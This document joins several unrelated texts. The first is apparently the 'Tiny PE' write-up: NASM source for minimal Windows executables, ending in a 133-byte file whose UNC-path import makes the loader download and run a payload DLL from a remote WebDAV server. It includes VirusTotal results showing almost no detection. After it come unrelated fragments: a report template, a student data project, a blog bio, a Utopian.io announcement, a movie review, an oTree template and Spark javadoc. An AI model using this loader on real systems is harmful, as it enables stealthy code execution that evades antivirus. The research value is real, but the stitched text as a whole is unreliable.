; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED ; ; PE signature ; pesig: dd "PE" ; e_cp, e_crlc UNUSED ; PE signature ; ; PE header ; pehdr: dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386) dw 1 ; e_minalloc UNUSED ; NumberOfSections dd 0x4545BE5D ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED dw opthdrsize ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED dd round(codesize, filealign) ; SizeOfCode UNUSED dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED dd 0 ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED dd start ; AddressOfEntryPoint dd code ; BaseOfCode UNUSED dd round(filesize, sectalign) ; BaseOfData UNUSED dd 0x400000 ; ImageBase dd sectalign ; e_lfanew ; SectionAlignment
Collapsing the MZ header reduces the file size to 296 bytes.
tiny.asm | tiny.exe | dumpbin | Makefile
Removing the data directories
The data directories at the end of the PE optional header usually contain pointers to the import and export tables, debugging information, relocations and other OS specific data. Our PE file doesn't use any of these features and its data directories are empty. If we can remove the data directories from the file, we'll save a lot of space.
The PE specification says that the number of data directories is specified in the NumberOfRvaAndSizes header field and the size of the PE optional header is variable. If we set NumberOfRvaAndSizes to 0 and decrease SizeOfOptionalHeader, we can remove the data directories from the file.
dd 0 ; NumberOfRvaAndSizes
Most functions that read the data directories check if NumberOfRvaAndSizes is large enough to avoid accessing invalid memory. The only exception is the Debug directory on Windows XP. If the size of the Debug directory is not 0, regardless of NumberOfRvaAndSizes, the loader will crash with an access violation in ntdll!LdrpCheckForSecuROMImage. We need to ensure that the dword at offset 0x94 from the beginning of the optional header is always 0. In our PE file this address is outside the memory mapped file and is zeroed by the OS.
The size of the PE file is only 168 bytes, a significant improvement.
tiny.asm | tiny.exe | dumpbin | Makefile
Collapsing the PE section header
The Windows loader expects to find the PE section headers after the optional header. It calculates the address of the first section header by adding SizeOfOptionalHeader to the beginning of the optional header. However, the code that accesses the fields of the optional header never checks its size. We can set SizeOfOptionalHeader to a value smaller than the real size, and move the PE section into the unused space in the optional header. This is illustrated by the code below:
dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; ; The debug directory size at offset 0x94 from here must be 0 filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED ; ; PE code section ; sections: dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize dd start ; AddressOfEntryPoint ; VirtualAddress dd codesize ; BaseOfCode UNUSED ; SizeOfRawData dd start ; BaseOfData UNUSED ; PointerToRawData dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED dw 0 ; MinorOperatingSystemVersion UNUSED dw 0 ; MajorImageVersion UNUSED dw 0 ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED dd round(filesize, sectalign) ; SizeOfImage dd round(hdrsize, filealign) ; SizeOfHeaders dd 0 ; CheckSum UNUSED dw 2 ; Subsystem (Win32 GUI) dw 0x400 ; DllCharacteristics UNUSED dd 0x100000 ; SizeOfStackReserve dd 0x1000 ; SizeOfStackCommit dd 0x100000 ; SizeOfHeapReserve dd 0x1000 ; SizeOfHeapCommit UNUSED dd 0 ; LoaderFlags UNUSED dd 0 ; NumberOfRvaAndSizes UNUSED hdrsize equ $ - $$ ; ; PE code section data ; align filealign, db 0 ; Entry point start: push byte 42 pop eax ret codesize equ $ - start filesize equ $ - $$
This kind of header mangling causes dumpbin to crash, but the WinDbg !dh command can still parse the header correctly. The size of the PE file is now 128 bytes.
tiny.asm | tiny.exe | Makefile
The smallest possible PE file
The next step is obvious: we can move the 4 bytes of code into one of the unused fields of the header, such as the TimeDateStamp field. This leaves the end of optional header at the end of the PE file. It looks like we can't reduce the file size any further, because the PE header starts at the smallest possible offset and has a fixed size. It is followed by the PE optional header, which also starts at the smallest offset possible. All other data in the file is contained within these two headers.
Yet there is one more thing we can do. The PE file is mapped on a 4KB memory page.  If we remove the last few fields of the PE optional header from the file, the end of the structure will be mapped on a readable page of memory containing zeros. 0 is a valid value for the last seven fields of the optional header, allowing us to remove them and save another 26 bytes.
The last word in the file is the Subsystem field, which must be 2. Since Intel is a little-endian architecture, the first byte of the word is 2 and the second one is 0. We can store the field as a single byte in the file and save an additional byte from the file size.
The full source code of the final PE file is given below:
; tiny.asm BITS 32 ; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED ; ; PE signature ; pesig: dd "PE" ; e_cp, e_crlc UNUSED ; PE signature ; ; PE header ; pehdr: dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386) dw 1 ; e_minalloc UNUSED ; NumberOfSections ; dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED ; TimeDateStamp UNUSED ; Entry point start: push byte 42 pop eax ret codesize equ $ - start dd 0 ; e_sp, e_csum UNUSED ; PointerToSymbolTable UNUSED dd 0 ; e_ip, e_cs UNUSED ; NumberOfSymbols UNUSED dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; ; The debug directory size at offset 0x94 from here must be 0 filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED ; ; PE code section ; sections: dd round(codesize, filealign) ; SizeOfCode UNUSED ; Name UNUSED dd 0 ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize dd start ; AddressOfEntryPoint ; VirtualAddress dd codesize ; BaseOfCode UNUSED ; SizeOfRawData dd start ; BaseOfData UNUSED ; PointerToRawData dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED dd filealign ; FileAlignment ; NumberOfRelocations, NumberOfLinenumbers UNUSED dw 4 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED dw 0 ; MinorOperatingSystemVersion UNUSED dw 0 ; MajorImageVersion UNUSED dw 0 ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage dd round(hdrsize, filealign) ; SizeOfHeaders dd 0 ; CheckSum UNUSED db 2 ; Subsystem (Win32 GUI) hdrsize equ $ - $$ filesize equ $ - $$
Now we have really reached the limit. The field at offset 0x94 from the beginning of the file is Subsystem, which must be set to 2. We cannot remove this field or get around it. This must be the smallest possible PE file.
The size of the PE file is an incredible 97 bytes.
tiny.asm | tiny.exe | Makefile
Smallest PE file with imports
Unfortunately the 97 byte PE file does not work on Windows 2000. This is because the loader tries to call a function from KERNEL32, but KERNEL32.DLL is not loaded. All other versions of Windows load it automatically, but on Windows 2000 we have to make sure that KERNEL32.DLL is listed in the import table of the executable. Executing a PE file with no imports is not possible.
Adding an import table
The structure of the import table is complicated, but adding a single ordinal import from KERNEL32 is relatively simple. We need to put the name of the DLL we want to import in the Name field and create two identical arrays of IMAGE_THUNK_DATA structures, one for the Import Lookup Table and another one for the Import Address Table. When the loader resolves the imports, it will read the ordinal from the lookup table and replace the entry in the address table with the function address.
dd 2 ; NumberOfRvaAndSizes ; ; Data directories ; ; The debug directory size at offset 0x34 from here must be 0 dd 0 ; Export Table UNUSED dd 0 dd idata ; Import Table dd idatasize hdrsize equ $ - $$ ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures) idata: dd ilt ; OriginalFirstThunk UNUSED dd 0 ; TimeDateStamp UNUSED dd 0 ; ForwarderChain UNUSED dd kernel32 ; Name dd iat ; FirstThunk ; empty IMAGE_IMPORT_DESCRIPTOR structure dd 0 ; OriginalFirstThunk UNUSED dd 0 ; TimeDateStamp UNUSED dd 0 ; ForwarderChain UNUSED dd 0 ; Name UNUSED dd 0 ; FirstThunk idatasize equ $ - idata ; Import address table (array of IMAGE_THUNK_DATA structures) iat: dd 0x80000001 ; Import function 1 by ordinal dd 0 ; Import lookup table (array of IMAGE_THUNK_DATA structures) ilt: dd 0x80000001 ; Import function 1 by ordinal dd 0 kernel32: db "KERNEL32.dll", 0 codesize equ $ - start filesize equ $ - $$
With a single ordinal import the size of our PE file incresed to 209 bytes.
tiny.asm | tiny.exe | Makefile
Collapsing the import table
209 bytes are obivousely too much for a single imported function, so let's see how we can make the file smaller. The first thing we'll do is to remove the Import Lookup Table. This table is a copy of the IAT and doesn't seem to be used by the linker. Removing it will save us 8 bytes.
The import table is 40 bytes long, but only three of the fields in it are used. This allows us to collapse the import table into the PE optional header.
; ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures) ; idata: dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED ; NumberOfLinenumbers UNUSED dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name ; MinorOperatingSystemVersion UNUSED ; FirstThunk dd iat ; MajoirImageVersion UNUSED ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED dd 0 ; CheckSum UNUSED ; FirstThunk idatasize equ $ - idata dw 2 ; Subsystem (Win32 GUI) dw 0 ; DllCharacteristics UNUSED dd 0 ; SizeOfStackReserve dd 0 ; SizeOfStackCommit dd 0 ; SizeOfHeapReserve dd 0 ; SizeOfHeapCommit dd 0 ; LoaderFlags UNUSED dd 2 ; NumberOfRvaAndSizes
The PE file is now 161 bytes.
tiny.asm | tiny.exe | Makefile
Collapsing the IAT and the DLL name
The last two structures left outside of the PE header are the IAT and the name of the imported DLL. We can collapse the IAT into the unused 8-byte Name field of the PE section header. The DLL name can be stored in the unused fields at the end of the PE optional header and in the 8 bytes of the export data directory. There is enough space for 15 characters and a null terminator for the name.
The last field in the data directory is the size of the import table, but the size isn't really used by the loader and can be set to 0. The last three bytes of the import table pointer are also 0, because the pointer is stored as a little-endian dword. We can remove all the zero bytes from the end of the file, just like we did with the 97 byte PE file above.
The full source code of the final PE file is given below:
; tiny.asm BITS 32 ; ; MZ header ; ; The only two fields that matter are e_magic and e_lfanew mzhdr: dw "MZ" ; e_magic dw 0 ; e_cblp UNUSED ; ; PE signature ; pesig: dd "PE" ; e_cp UNUSED ; PE signature ; e_crlc UNUSED ; ; PE header ; pehdr: dw 0x014C ; e_cparhdr UNUSED ; Machine (Intel 386) dw 1 ; e_minalloc UNUSED ; NumberOfSections ; dd 0xC3582A6A ; e_maxalloc UNUSED ; TimeDateStamp UNUSED ; ; e_ss UNUSED ; Entry point start: push byte 42 pop eax ret dd 0 ; e_sp UNUSED ; PointerToSymbolTable UNUSED ; e_csum UNUSED dd 0 ; e_ip UNUSED ; NumberOfSymbols UNUSED ; e_cs UNUSED dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader dw 0x103 ; e_ovno UNUSED ; Characteristics ; ; PE optional header ; ; The debug directory size at offset 0x94 from here must be 0 filealign equ 4 sectalign equ 4 ; must be 4 because of e_lfanew %define round(n, r) (((n+(r-1))/r)*r) opthdr: dw 0x10B ; e_res UNUSED ; Magic (PE32) db 8 ; MajorLinkerVersion UNUSED db 0 ; MinorLinkerVersion UNUSED ; ; PE code section and IAT ; sections: iat: dd 0x80000001 ; SizeOfCode UNUSED ; Name UNUSED ; Import function 1 by ordinal dd 0 ; e_oemid UNUSED ; SizeOfInitializedData UNUSED ; end of IAT ; e_oeminfo UNUSED dd codesize ; e_res2 UNUSED ; SizeOfUninitializedData UNUSED ; VirtualSize dd start ; AddressOfEntryPoint ; VirtualAddress dd codesize ; BaseOfCode UNUSED ; SizeOfRawData dd start ; BaseOfData UNUSED ; PointerToRawData ; ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures) ; idata: dd 0x400000 ; ImageBase ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED dd sectalign ; e_lfanew ; SectionAlignment ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED dd filealign ; FileAlignment ; NumberOfRelocations UNUSED ; ForwarderChain UNUSED ; NumberOfLinenumbers UNUSED dd kernel32 ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED ; Name ; MinorOperatingSystemVersion UNUSED ; FirstThunk dd iat ; MajoirImageVersion UNUSED ; MinorImageVersion UNUSED dw 4 ; MajorSubsystemVersion ; OriginalFirstThunk UNUSED dw 0 ; MinorSubsystemVersion UNUSED dd 0 ; Win32VersionValue UNUSED ; TimeDateStamp UNUSED dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage ; ForwarderChain UNUSED dd round(hdrsize, filealign) ; SizeOfHeaders ; Name UNUSED dd 0 ; CheckSum UNUSED ; FirstThunk idatasize equ $ - idata dw 2 ; Subsystem (Win32 GUI) dw 0 ; DllCharacteristics UNUSED dd 0 ; SizeOfStackReserve dd 0 ; SizeOfStackCommit dd 0 ; SizeOfHeapReserve dd 0 ; SizeOfHeapCommit ; dd 0 ; LoaderFlags UNUSED ; dd 2 ; NumberOfRvaAndSizes ; ; The DLL name should be at most 16 bytes, including the null terminator ; kernel32: db "KERNEL32.dll", 0 times 16-($-kernel32) db 0 ; ; Data directories ; ; The debug directory size at offset 0x34 from here must be 0 ; dd 0 ; Export Table UNUSED ; dd 0 db idata - $$ ; Import Table hdrsize equ $ - $$ codesize equ $ - start filesize equ $ - $$
This brings the final file size to 133 bytes.
tiny.asm | tiny.exe | Makefile
Smallest PE file that downloads a file from the Internet
The goal of the Tiny PE challenge was to write the smallest PE file that downloads a file from the Internet and executes it. The standard technique for this is to call URLDownloadToFileA and then WinExec to execute the file. There are many examples of shellcode that uses this API, but it requires us to load URLMON.DLL and call multiple functions, which would increase the size of our PE file significantly.
A less known feature of Windows XP is the WebDAV Mini-Redirector. It translates UNC paths used by all Windows applications to URLs and tries to access them over the WebDAV protocol. This means that we can pass a UNC path to WinExec and the redirector will attempt to download the specified file over WebDAV on port 80.
Even more interesting is the fact that you can specify a UNC path in the import section of the PE file. If we specify \\<IP_ADDRESS>\z as the name of the imported DLL, the Windows loader will try to download the DLL file from our web server.
This allows us to create a PE file that downloads and excutes a file from the Internet without executing a single line of code. All we have to do is put our payload in the DllMain function in the DLL, put the DLL on a publicly accessible WebDAV server and specify the UNC path to the file in the imports section of the PE file. When the loader processes the imports of the PE file, it will load the DLL from the WebDAV server and execute its DllMain function.
; ; The DLL name should be at most 16 bytes, including the null terminator ; dllname: db "\\<IP_ADDRESS>\z", 0 times 16-($-dllname) db 0
The size of the PE file with a UNC import is still only 133 bytes.
WARNING: The PE file linked below is live. It will attempt to download and execute a payload DLL from http://<IP_ADDRESS>/z. The DLL will display a message box and exit, but you should take proper precautions and treat it as untrusted code.
tiny.asm | tiny.exe | Makefile
Setting up Apache or IIS as WebDAV servers is not complicated, but for development purposes you can use the following Ruby script. It will serve as minimial WebDAV server with just enough functionality for the attack to work:
The payload DLL and its source are also available:
payload.c | payload.dll | test.c | tiny.exe | Makefile
VirusTotal Results
Scanning the 133 byte PE file that downloads a DLL over WebDAV with common anti-virus software shows that the rate of detection is very low. My suggestion to AV vendors is to start using the presense of UNC imports as a malware heuristic.
Complete scanning result of "tiny.exe", received in VirusTotal at 11.08.2006, 07:14:08 (CET).
| Antivirus | Version | Update | Result |
| AntiVir | <IP_ADDRESS> | 11.07.2006 | no virus found |
| Authentium | 4.93.8 | 11.07.2006 | no virus found |
| Avast | 4.7.892.0 | 11.07.2006 | no virus found |
| AVG | 386 | 11.07.2006 | no virus found |
| BitDefender | 7.2 | 11.08.2006 | no virus found |
| CAT-QuickHeal | 8.00 | 11.07.2006 | (Suspicious) - DNAScan |
| ClamAV | devel-20060426 | 11.07.2006 | no virus found |
| DrWeb | 4.33 | 11.08.2006 | no virus found |
| eTrust-InoculateIT | 23.73.49 | 11.08.2006 | no virus found |
| eTrust-Vet | 30.3.3181 | 11.07.2006 | no virus found |
| Ewido | 4.0 | 11.07.2006 | no virus found |
| Fortinet | <IP_ADDRESS> | 11.08.2006 | no virus found |
| F-Prot | 3.16f | 11.07.2006 | no virus found |
| F-Prot4 | <IP_ADDRESS> | 11.07.2006 | no virus found |
| Ikarus | <IP_ADDRESS> | 11.07.2006 | no virus found |
| Kaspersky | <IP_ADDRESS> | 11.08.2006 | no virus found |
| McAfee | 4890 | 11.07.2006 | no virus found |
| Microsoft | 1.1609 | 11.08.2006 | no virus found |
| NOD32v2 | 1.1858 | 11.07.2006 | no virus found |
| Norman | 5.80.02 | 11.07.2006 | no virus found |
| Panda | <IP_ADDRESS> | 11.07.2006 | no virus found |
| Sophos | 4.11.0 | 11.07.2006 | no virus found |
| TheHacker | <IP_ADDRESS> | 11.08.2006 | no virus found |
| UNA | 1.83 | 11.07.2006 | no virus found |
| VBA32 | 3.11.1 | 11.07.2006 | no virus found |
| VirusBuster | 4.3.15:9 | 11.07.2006 | no virus found |
| Additional Information |
| File size: 133 bytes |
| MD5: a6d732dd4b460000151a5f3cb448a4be |
| SHA1: 3bdd0363204f3db7d0e15af2a64081ce04e57533 |


| Software Version and Target Device | |||
| Product Version: | Target Family: | ||
| OS Platform: | Target Device: | ||
| Project ID (random number) | Target Package: | ||
| Registration ID | Target Speed: | ||
| Date Generated | Tool Flow |
| Device Usage Statistics | |||
| Macro Statistics | Miscellaneous Statistics | Net Statistics | Site Usage |
|
| Software Quality | |||||||
| Run Statistics | |||||||
| Unisim Statistics | |||


Weile Chen
Project Part 1
Data
Given that ‘NA’ and incorrect values in all datasets only account for a minor part, removing the rows that contain ‘NA’ and incorrect values will not negatively influence the final result for all three data sets. For example, in the Airbnb data set, there are more than 36,000 rows, but only 227 rows contain ‘NA’ values and 16 rows contain incorrect values. The results is shown in the following figure.
One of the main issue of the Airbnb dataset is noise. There are many irrelevant information such as a description that a host puts on the page, review contents. There are also duplicated information such as market, neighborhood, host neighborhood, smart location, street, which contains very similar - sometimes the same contents.
There are also wrong listings in the scraped data such as the listing city is New York but he zip code is in California. We call this directly scraped data metadata, and in order to perform better evaluation of the data, we will do a clean for the metadata. The clean for metadata consists of dropping irrelevant text contents, and exclude the error contents such as zip codes outside New York City.
The hotel dataset is relatively simple compare to the Airbnb dataset. It only contains hotel names, zip codes, prices, addresses, country names, region and rating. For the planned analysis we need only the zip codes and hotel prices.
For Yelp data, the raw data is collecting all restaurant information base on a zip code. So, each zip code will have hundreds associated restaurants. Next step of cleaning will be grouping related data together. After counting the amount of high quality restaurants, this attribute will be assigned to corresponding Airbnb house base on the zipcode.
Also, measuring restaurant quality based only on rating also has its limitation. Scale of rating is from 1 to 5, it’s obvious not the most accurate measurement. Therefore, other influence factors, such as number of reviews or price range, might need to be considered to determine the quality of restaurants.
During the data cleaning process, as we mainly have numerical, boolean, and categorical data, we build a well-organized function to detect the incorrect value and ‘null’ value based on above three types of data to analyze three different datasets.
Our function, named Score_Cleanliness, will detect the ‘null’ value for each variable and check incorrect value based on different types of data, finally, it will calculate a final score. Our function will check below missing and incorrect values:
Counting and Reporting all NULL for our data.
Detecting Non-integer values for a Numerical Variable: Some variables will only have integer values, the function will detect those non-integer values. e.g., the variable, “accommodates”, could not have a value like 2.3.
Finding Non-positive values for a Numerical Variable: Some variables will only have negative values, the function will detect the negative values. e.g., the variable, “beds”, could not have a value like -3.
Searching Incorrect values for a Boolean Variable: After changing all uppercase of a string-type boolean variable into lowercase, the function will catch those values is not: “t”, “f”, “true”, “false”, “1”, or “0”.
The rest of part of data cleaning is combined with basic statistical analysis part.


About Me
My name is Chaoran, from China and currently residing in Singapore.
My background is B.Eng Chemical Engineering and M.Sc. Industrial Engineering. But now I am a big fan of Data Science.
About this Blog
Since Jan 2015, I’ve spent about half-year in learning data science. Having explored multiple online courses, quora threads, websites, textbooks, I was toddling around in a sea of new things. The primary motivation of this blog to track the learning journey and to summarize all those useful stuffs I found, so that to put everything in a more structured way.
I believe the best way to learn is to teach and to share. Hope this blog may help someone, who is also learning data science, in any sense.


The Utopian.io team is happy to announce the relaunch of the translations category! We’re looking forward to incentivizing the localization of Open Source projects via Crowdin by our international community of contributors who’ve been patiently (but eagerly) waiting for the translations category to be made available.
From its inception, the translations category was the most active category on Utopian.io. This is unsurprising considering the global and multinational nature of the Steem blockchain. The sheer volume and diversity in contributions made it impossible to moderate while maintaining a standard of quality to be of value to FOSS projects. For that reason, we were forced to pause activity in that category.
After months of intensive planning, negotiating, and reiterating the guidelines and procedures for the category, we are finally ready to resume incentivizing top quality translations submitted to FOSS projects via the CrowdIn translation platform. We hope this will help engage the diverse and multinational community of professional translations already on Utopian.io, as well as attract new translation professionals to the Steem blockchain and Utopian.io.
Collaboration with The Davinci Initiative
Part of the Utopian.io mission is supporting initiatives that bring value to innovation on the Steem blockchain and beyond it. We do so by using the power entrusted with us by our sponsors to grow the number of curators committed to our mission.
With that in mind, and with the need for a professional and scalable solution to the issue of the translation category moderation, Utopian.io has entered a collaboration with the DaVinci Localization Curation Initiative.
Meet DaVinci
DaVinci is a curation initiative (and Steem community witness) aimed to provide quality translations to valuable content posted to the Steem blockchain. Comprised of a team of professional translations, and managed with well structured organizational hierarchy, the DaVinci team will have full ownership of the management of the translations category of Utopian.io. This includes on-boarding verified translators, managing moderation and scoring the translations made via the CrowdIn platform by Utopian.io contributors.
The team at DaVinci are being onboarded and guided on Utopian.io workflows and policies, and are being equipped with all the tools and resources necessary to make this collaboration a success on all fronts.
Want to become a translator with Utopian & DaVinci? Here’s How!
Unlike the previous translations workflow on Utopian.io, the new workflow will require whitelisting and pre-approval of all translators whose contributions may be considered for reward.
To ensure everyone is rewarded fairly, DaVinci employs a unique rewarding system that splits the beneficiary rewards between Utopian.io (5%) and the DaVinci initiative (10%).
To get whitelisted with Utopian.io and DaVinci as a pre-approved translator, you should apply on the DaVinci Discord server.
Languages Accepted (more languages will be added in the next weeks):
| Spanish |
| German |
| Chinese |
| Italian |
| Greek |
Utopian.io Category Rewards
Valid translations submitted via CrowdIn and posted on Utopian.io, will enter the queue to receive an upvote from @utopian-io according to the score assigned by DaVinci moderators. The maximum voting cap for the category is set at 25%.
To ensure the reviews are transparent, fair and the reward is proportional to effort and quality, the DaVinci team were provided a customized scoring system developed by Utopian in coordination with the core team at DaVinci.
Submissions Opening!
The DaVinci team will start reviewing your applications immediately. Actual contributions in the category are scheduled to be started on 17th of June 2018!
Get Translating!
As soon as your application is accepted by the DaVinci initiative team, you can start translating your favorite FOSS projects with CrowdIn and submitting them to Utopian.io for potential reward. To enable that, we’ve published https://davinci.utopian.io, an editor based on the awesome Busy.org one, that will allow you to do just that.
Get in touch with DaVinci Discord server right now and let’s localize some awesome Open Source projects!
First Time Contributing in Utopian.io?
Learn how to contribute on our website
Utopian Witness
This page is synchronized from the post: Translations are coming back to Utopian. Get involved today!


Angels with Dirty Faces (1938)
Grade: 85
The great success of "Dead End", the 1937 film that starred Joel McCrae, Humphrey Bogart, and the 'Dead End' kids, inevitably led to a sequel. "Angels with Dirty Faces" reunited Bogart and six of the 'Dead End' gang. Because the producing studio had been changed from United Artists to Warner Brothers, the character names were also changed. McCrae was both romantic lead and good guy in "Dead End". In the sequel, James Cagney takes over as leading man, while the good guy is the priest played by Pat O'Brien.
The plot tells the familiar story of childhood pals going separate ways, become rivals as adults. Rocky Sullivan (Cagney) grows up to be a career criminal and racketeer, while Jerry Connelly (O'Brien) becomes a priest. They both vie for the souls of the 'Dead End' kids, who seem destined to become the next generation of Rocky Sullivans. Other story lines have Sullivan double-crossed by his lawyer/partner Frazier (Bogart), and Sullivan romancing a reluctant Ann Sheridan.
Cagney is excellent. He is perfectly cast as a gangster, the little tough guy with a deeply hidden heart of gold. During shootouts with the police or rival gangsters, one can't help but root for him, all the while aware that the 1930s code requires him to come to a bad end. Bogart's character is cowardly and two-faced when compared to his aggressive character from "Dead End", while the hoodlum kids have been softened and placed in more secondary roles. "Angels with Dirty Faces" is Cagney's film, and he dominates every scene he is in. This was the film that made him famous, and rescued him from the bit roles he had been playing.
"Angels with Dirty Faces" received three Oscar nominations; Best Actor (Cagney), Best Director (Michael Curtz, who would go on to direct 'Casablanca') and Best Original Story (Rowland Brown).
<EMAIL_ADDRESS>http://members.tripod.com/~Brian_Koller/movies.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


{% extends "global/Page.html" %} {% load otree %} {% block title %} Phase {{ phase_no }} {% endblock %} {% block content %}
The risk of your home being flooded is unknown at this period. It might be 1, 5 or 10 percent. The risks of the other two group members are also unknown.
{% formfield player.group_adapt with label='Do you want to adapt collectively?' %} {% next_button %} {% endblock %}


@InterfaceStability.Evolving
public abstract class ColumnVector
extends Object
implements AutoCloseable
ColumnVector
,
e.g. if it's int type, Spark is guaranteed to only call getInt(int)
or
getInts(int, int)
.
ColumnVector supports all the data types including nested types. To handle nested types,
ColumnVector can have children and is a tree structure. Please refer to getStruct(int)
,
getArray(int)
and getMap(int)
for the details about how to implement nested
types.
ColumnVector is expected to be reused during the entire data loading process, to avoid allocating
memory again and again.
ColumnVector is meant to maximize CPU efficiency but not to minimize storage footprint.
Implementations should prefer computing efficiency over storage efficiency when design the
format. Since it is expected to reuse the ColumnVector instance while loading data, the storage
footprint is negligible.| Modifier and Type | Method and Description |
|---|---|
abstract void |
close()
Cleans up memory for this column vector.
|
DataType |
dataType()
Returns the data type of this column vector.
|
abstract ColumnarArray |
getArray(int rowId)
Returns the array type value for rowId.
|
abstract byte[] |
getBinary(int rowId)
Returns the binary type value for rowId.
|
abstract boolean |
getBoolean(int rowId)
Returns the boolean type value for rowId.
|
boolean[] |
getBooleans(int rowId,
int count)
Gets boolean type values from [rowId, rowId + count).
|
abstract byte |
getByte(int rowId)
Returns the byte type value for rowId.
|
byte[] |
getBytes(int rowId,
int count)
Gets byte type values from [rowId, rowId + count).
|
abstract Decimal |
getDecimal(int rowId,
int precision,
int scale)
Returns the decimal type value for rowId.
|
abstract double |
getDouble(int rowId)
Returns the double type value for rowId.
|
double[] |
getDoubles(int rowId,
int count)
Gets double type values from [rowId, rowId + count).
|
abstract float |
getFloat(int rowId)
Returns the float type value for rowId.
|
float[] |
getFloats(int rowId,
int count)
Gets float type values from [rowId, rowId + count).
|
abstract int |
getInt(int rowId)
Returns the int type value for rowId.
|
org.apache.spark.unsafe.types.CalendarInterval |
getInterval(int rowId)
Returns the calendar interval type value for rowId.
|
int[] |
getInts(int rowId,
int count)
Gets int type values from [rowId, rowId + count).
|
abstract long |
getLong(int rowId)
Returns the long type value for rowId.
|
long[] |
getLongs(int rowId,
int count)
Gets long type values from [rowId, rowId + count).
|
abstract ColumnarMap |
getMap(int ordinal)
Returns the map type value for rowId.
|
abstract short |
getShort(int rowId)
Returns the short type value for rowId.
|
short[] |
getShorts(int rowId,
int count)
Gets short type values from [rowId, rowId + count).
|
ColumnarRow |
getStruct(int rowId)
Returns the struct type value for rowId.
|
abstract org.apache.spark.unsafe.types.UTF8String |
getUTF8String(int rowId)
Returns the string type value for rowId.
|
abstract boolean |
hasNull()
Returns true if this column vector contains any null values.
|
abstract boolean |
isNullAt(int rowId)
Returns whether the value at rowId is NULL.
|
abstract int |
numNulls()
Returns the number of nulls in this column vector.
|
public final DataType dataType()
public abstract void close()
close
in interface AutoCloseable
public abstract boolean hasNull()
public abstract int numNulls()
public abstract boolean isNullAt(int rowId)
public abstract boolean getBoolean(int rowId)
public boolean[] getBooleans(int rowId, int count)
public abstract byte getByte(int rowId)
